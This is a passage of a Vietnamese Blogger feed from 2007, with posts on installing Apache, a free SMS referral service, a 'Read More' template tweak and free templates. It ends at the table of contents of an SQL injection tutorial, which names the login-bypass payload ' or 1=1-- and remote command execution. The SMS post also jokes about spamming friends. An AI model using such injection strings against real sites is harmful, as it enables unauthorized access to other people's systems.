&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  5&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click &lt;b&gt;Next,&lt;/b&gt; trên màn hình xuất hiện menu                                  sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache6.gif" border="0" height="307" width="424" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Chọn                                  cách cài đặt Apache, chẳng hạn chọn cách cài đặt                                  &lt;b&gt;Typical&lt;/b&gt;, chọn &lt;b&gt;Next&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  6:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;                                  Chọn thư mục để cài đặt Apache. Theo mặc định                                  thư mục đó là &lt;b&gt;C:\Program Files\Apache                                  Group\&lt;/b&gt;. Ta có thể thay đổi thư mục cài đặt                                  bằng cách click chuột vào nút &lt;b&gt;Change&lt;/b&gt; và                                  trỏ tới thư mục mong muốn. Sau đó click chuột                                  vào nút &lt;b&gt;Next.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache7.gif" border="0" height="306" width="436" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  7:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Để                                  bắt đầu quá trình cài đặt click chuột vào nút                                  &lt;b&gt;Install&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache8.gif" border="0" height="307" width="436" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  8:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Sau                                  khi click chuột vào nút &lt;b&gt;Install&lt;/b&gt;, quá                                  trình cài đặt được bắt đầu.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache9.gif" border="0" height="318" width="442" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  10:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Quá                                  trình cài đặt kết thúc, trên màn hình xuất hiện                                  menu “&lt;b&gt;Installation Wizard Completed&lt;/b&gt;”,                                  click &lt;b&gt;Finish&lt;/b&gt; để kết thúc quá trình cài                                  đặt.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache10.gif" border="0" height="315" width="442" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1562865348362697796?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1562865348362697796/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-apache.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1562865348362697796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1562865348362697796'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-apache.html' title='Hướng dẫn cài đặt webserver Apache'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3914214725393385771</id><published>2007-10-10T00:11:00.000+07:00</published><updated>2007-10-10T00:11:55.333+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network Tips'/><title type='text'>Gửi Tin Nhắn SMS Miễn Phí</title><content type='html'>Đây là dịch vụ gửi tin nhắn sms free. đã test, hiện đang sài thấy ngon quá share cho anh em!&lt;br /&gt;thề là kô bị trừ tài khoản nào đâu&lt;br /&gt;Đầu tiên mọi người vào &lt;a href="http://www.romsms.com/?refid=WBA1nyst" target="_blank"&gt;http://www.romsms.com/?refid=WBA1nyst&lt;/a&gt; đăng ký nhé.&lt;br /&gt;- Nhớ chọn language English bằng cách click vào cờ Anh bên tay phải góc trên nhé.&lt;br /&gt;- Đăng kí tên, email, country (chọn Việt Nam nếu bạn ở VN ),..&lt;br /&gt;- Đăng ký sdt của mình theo dạng : 849xxxxxxxx , chú ý là ko phải +849xxxxx VD : số điện thoại tớ là 0983xxxx thì đăng kí sẽ là 84983xxxx&lt;br /&gt;- Sau khi đăng ký pass sẽ đc gửi về máy mình&lt;br /&gt;- Login = pass đó rồi vào Change my details đổi pass cho dễ nhớ.&lt;br /&gt;&lt;br /&gt;Lưu ý nè:&lt;br /&gt;* Khi gửi tin nhớ chọn sender là sdt của mình, mặc định của họ là ROMSMS. Ng` nhận sẽ nhận dc từ chính sdt của mình, chỉ thêm 1 dòng nhỏ là romSMS.com&lt;br /&gt;* Số điện thoại đăng nhập - số điện thoại gửi đi, đều phải có dạng 849xxxx. (84 là mã Việt Nam, 9xxx là số đt bỏ số 0 ở đầu) .&lt;br /&gt;* Khi khởi tạo sẽ đc 5 tin miễn phí, mỗi ngày + 2 tin. Invite 1 người bạn đăng ký thành công qua YM hay mail dc + thêm 5 tin nữa.&lt;br /&gt;&lt;br /&gt;hé hé. cứ phải nói là xì pam bạn bè thoả mái&lt;br /&gt;Đây là tài khoản của mình&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://danglvhbloghack.googlepages.com/danglvhblog_008.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://danglvhbloghack.googlepages.com/danglvhblog_008.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Cell phone: là số máy của mình&lt;br /&gt;Credit là số tin nhắn mà mình được gửi miễn phí&lt;br /&gt;Chúc mọi người vui vẻ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3914214725393385771?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3914214725393385771/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/gi-tin-nhn-sms-min-ph.html#comment-form' title='4 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3914214725393385771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3914214725393385771'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/gi-tin-nhn-sms-min-ph.html' title='Gửi Tin Nhắn SMS Miễn Phí'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8038679983412510286</id><published>2007-10-05T10:35:00.000+07:00</published><updated>2007-10-05T10:35:45.493+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='For New Bloggers'/><category scheme='http://www.blogger.com/atom/ns#' term='Blog Hack'/><title type='text'>Chèn "Read More" hoặc "Đọc Thêm"</title><content type='html'>Như bạn thấy mỗi bài đăng trên blog của tôi đều có phần “Read More...” và click vào phần này thì bài viết đầy đủ mới hiển thị ra. Nội dung phía trên tóm tắt bài viết. Sử dụng thủ thuật này giúp blog bạn chuyên nghiệp và trông giống một website hơn. Sau đây là 2 cách để các bạn làm điều đó:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Cách 1:&lt;/span&gt; Nếu bạn sài template NEO&lt;/span&gt;&lt;br /&gt;Vì ở template NEO nó đã hổ trợ cho bạn sẵn tính năng này rồi, nên bạn chỉ việc sài nó thôi. Cách sài như sao:&lt;br /&gt;Mõi lần bạn gửi bài, bạn hãy chép đoạn code sau đây vào khung edit bài viết.&lt;br /&gt;Ở phần "&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Type Your Sumary Here&lt;/span&gt;&lt;span style="font-size:100%;"&gt;" bạn đánh phần nội dung được hiển thị&lt;br /&gt;"&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Type Rest of the post here&lt;/span&gt;&lt;span style="font-size:100%;"&gt;" bạn đánh phần còn lại của nội dung được gửi.&lt;/span&gt;&lt;br /&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="4" readonly="readonly" cols="32"&gt;Type your summary here &lt;span id="fullpost"&gt; Type rest of the post here &lt;/span&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;br /&gt;Sau đó bạn chỉ việc gửi đi, và bài viết của bạn sẽ hiển thị giống như bài viết này của mình, khi bấm vào read more nó sẽ hiển thị phần nội dung còn lại của entry và nếu bấm vào Collapse thì nội dung sẽ được tóm gọn lại.&lt;br /&gt;&lt;br /&gt;Để cho dể dàng và đở mất công các bạn phải copy đoạn code đó mõi lần gửi bài. Các bạn có thể để mặc định trong khung edit entry của mình đoạn code đó. Có nghĩa là cứ mõi lần vào edit bài viết thì nó sẽ tự động gán đoạn code trên vào.&lt;br /&gt;Thì bạn làm như sau:&lt;br /&gt;&lt;br /&gt;Đầu tiên bạn vô &lt;span style="font-weight: bold;"&gt;bảng điều khiển&lt;/span&gt; của blog bạn &gt;&gt;&gt; rồi vào &lt;span style="font-weight: bold;"&gt;Settings&lt;/span&gt;(cài đặt) &gt;&gt;&gt; Tiếp đến vào &lt;span style="font-weight: bold;"&gt;Formatting&lt;/span&gt;(định dạng) &gt;&gt;&gt; rồi bạn kéo xuống cuối trang, ở phần &lt;span style="font-weight: bold;"&gt;Post Template&lt;/span&gt;(Định Dạng Bài Gửi) &gt;&gt;&gt;&gt; Bạn copy đoạn code ở trên vào khung này &gt;&gt;&gt; sau đó &lt;span style="font-weight: bold;"&gt;Save&lt;/span&gt; lại.&lt;br /&gt;&lt;br /&gt;Thì kể từ bây giờ cứ mõi khi bạn vào mục edit entry thì đoạn code sẽ có sẵn ở đó cho bạn nhập nội dung vào.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Cách 2:&lt;/span&gt; Cách này dùng cho những template bình thường của d2vn( admin &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.thuthuatblog.com/"&gt;Thủ Thuật Blog&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;) viết.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nguồn bài viết: &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.thuthuatblog.com/search/label/%C4%90%E1%BB%8Dc%20th%C3%AAm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;BƯỚC 1: SAO LƯU TEMPLATE VÀ CHÈN CSS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sau khi đăng nhập vào blogger.com, click trên Template (Mẫu) -&gt; Edit HTML (Chỉnh sửa HTML) thực hiện &lt;a href="http://thuthuatchoblogger.blogspot.com/2007/07/sao-lu-v-phc-hi-template.html" target="_blank"&gt;sao lưu&lt;/a&gt; template vào máy tính của bạn.&lt;br /&gt;&lt;br /&gt;Sao lưu xong, kéo thanh trượt tìm tag (Có thể bấm Ctrl + F để tìm) và chèn vào phía trên nó đoạn mã dưới và lưu lại.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="32"&gt;&lt;style&gt; &lt;b:if cond="'data:blog.pageType"&gt; span.fullpost {display:inline;} &lt;b:else/&gt; span.fullpost {display:none;} &lt;/b:if&gt; &lt;/style&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;BƯỚC 2: CHÈN LIÊN KẾT “ĐỌC THÊM”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tiếp tục hãy click Expand Widgets Template và kéo thanh trượt để tìm tag&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="1" readonly="readonly" cols="26"&gt;&lt;data:post.body/&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;(Có thể bấm đồng thời Ctrl + F để tìm).  Sau đó chèn đoạn mã này phía dưới nó.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="8" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;a href="'data:post.url'"&gt;Đọc thêm!&lt;/a&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BƯỚC 3: TÙY BIẾN “ĐỌC THÊM”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nếu bạn dùng đoạn mã trên, khi click vào “Đọc thêm!” bài đăng này sẽ được load về trình duyệt và thay thế trang trước đó. Bạn muốn bài đăng được mở ở một cửa sổ mới hãy chèn đoạn mã này.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="8" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” lớn hơn hay nhỏ hơn so với các chữ khác của bài hãy chèn đoạn mã dưới. Thay đổi phần trăm để được nhỏ hơn.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” &lt;span style="font-weight: bold;"&gt;in đậm&lt;/span&gt; hãy chèn đoạn mã dưới.&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span style="font-weight:bold;"&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” có màu hãy chèn đoạn mã dưới (ví dụ ở đây là màu đỏ, bạn có thể lấy màu khác: Từ cửa sổ đăng bài Compose, gõ vài ký tự và chọn màu, click Edit Html để lấy mã, chữ có màu sẽ nằm giữa &lt;span&gt;…&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Bạn có thể sử dụng kết hợp cả ba.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BƯỚC 4: THAY ĐỔI CÁCH ĐĂNG BÀI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ở cửa sổ đăng bài, thay vì chọn Compose, hãy chọn Edit Html và cấu trúc bài đăng của bạn như bên dưới.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="5" readonly="readonly" cols="26"&gt;Phần tóm tắt hay đầu bài đăng &lt;span class="fullpost"&gt; Phần còn lại &lt;/span&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Xem hình:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;img src="http://i198.photobucket.com/albums/aa172/giangdaytructuyen/thuthuatchoblogger/ex.png" alt="Đăng bài theo có Đọc thêm" border="0" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Bài đăng phải nằm trong cấu trúc này. Nếu bạn cảm thấy khó nhớ đoạn code thì hãy vào Settings (Cài đặt) -&gt; Formatting (Định dạng), kéo thanh trượt và tìm Post Template (Mẫu đăng bài), dán đoạn mã vào box kế bên và click Save Settings (Lưu cài đặt) để lưu lại. Mỗi lần đăng bài, đoạn mã này được chèn trước và bạn chỉ việc làm các thao tác để đăng bài.&lt;br /&gt;&lt;br /&gt;Chúc thành công.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8038679983412510286?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8038679983412510286/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/chn-read-more-hoc-c-thm.html#comment-form' title='3 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8038679983412510286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8038679983412510286'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/chn-read-more-hoc-c-thm.html' title='Chèn &quot;Read More&quot; hoặc &quot;Đọc Thêm&quot;'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i198.photobucket.com/albums/aa172/giangdaytructuyen/thuthuatchoblogger/th_ex.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7580927362489567176</id><published>2007-10-03T10:04:00.000+07:00</published><updated>2007-10-03T10:04:12.583+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Template For Blogger'/><title type='text'>Free Templates For Bloggers</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Ratatouille&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s800/ratatouille.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s800/ratatouille.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://btemplates.googlepages.com/ratatouille.xml"&gt;Download Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Shrek the Third&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_AOJK6bFFsUI/RkEUDxDzO9I/AAAAAAAAA_Y/WghrTbMgFZA/s200/shreck.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp1.blogger.com/_AOJK6bFFsUI/RkEUDxDzO9I/AAAAAAAAA_Y/WghrTbMgFZA/s200/shreck.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/shreck.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;At World's End, Pirates of the Caribbean 3 template&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_AOJK6bFFsUI/RkG7-RDzO-I/AAAAAAAAA_k/uSkf6ygHYb0/s800/pirates.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp3.blogger.com/_AOJK6bFFsUI/RkG7-RDzO-I/AAAAAAAAA_k/uSkf6ygHYb0/s800/pirates.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/Pirates3.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Colibri&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_AOJK6bFFsUI/Rh7SVSlquoI/AAAAAAAAA6M/PKjda5FElg0/s200/colibri.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp3.blogger.com/_AOJK6bFFsUI/Rh7SVSlquoI/AAAAAAAAA6M/PKjda5FElg0/s200/colibri.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/colibri.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;New Blogger Template 3 Column : Nyoba 780&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Dq9hC1R9GJc/RepyNssRZGI/AAAAAAAAAWc/0U9Ldh8enfc/s1600-h/nyoba-780.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_Dq9hC1R9GJc/RepyNssRZGI/AAAAAAAAAWc/0U9Ldh8enfc/s320/nyoba-780.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964712828036194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://isnaini.googlepages.com/template-nyoba-780.xml"&gt;Download Template&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;New Blogger Template 3 Column : Nyoba&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_Dq9hC1R9GJc/Repxk8sRZFI/AAAAAAAAAWM/A9o7IYZdPOA/s1600-h/nyoba.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_Dq9hC1R9GJc/Repxk8sRZFI/AAAAAAAAAWM/A9o7IYZdPOA/s320/nyoba.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://isnaini.googlepages.com/template-nyoba.xml"&gt;Download Template&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Harry Potter&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2931/623/400/harrytemp.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/2931/623/400/harrytemp.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a class="comment-link" href="https://www.sharemation.com/xtasy010/Harry%20Potter.zip" target="_blank"&gt;Get Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Jacksonville&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="hhttp://photos1.blogger.com/blogger/2931/623/400/jack.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/2931/623/400/jack.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="https://www.sharemation.com/xtasy010/Jacksonville.zip"&gt;Get Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Source URL:&lt;/span&gt;&lt;br /&gt;http://blogger-templates.blogspot.com/&lt;br /&gt;http://www.ehsany.com/&lt;br /&gt;http://www.finalsense.com/&lt;br /&gt;http://blogspottemplates.blogspot.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7580927362489567176?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7580927362489567176/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/free-templates-for-bloggers.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7580927362489567176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7580927362489567176'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/free-templates-for-bloggers.html' title='Free Templates For Bloggers'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s72-c/ratatouille.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6808625891453037502</id><published>2007-10-02T21:33:00.000+07:00</published><updated>2007-10-02T21:33:04.616+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network Tips'/><title type='text'>Tìm hiểu về SQL Injection</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Mục lục:&lt;/span&gt;&lt;br /&gt;1. SQL Injection là gì?&lt;br /&gt;2. Tìm kiếm mục tiêu&lt;br /&gt;3. Kiểm tra chỗ yếu của trang web&lt;br /&gt;4. Tại sao ' or 1=1-- có thể bypass login?&lt;br /&gt;5. Thi hành lệnh từ xa bằng SQL 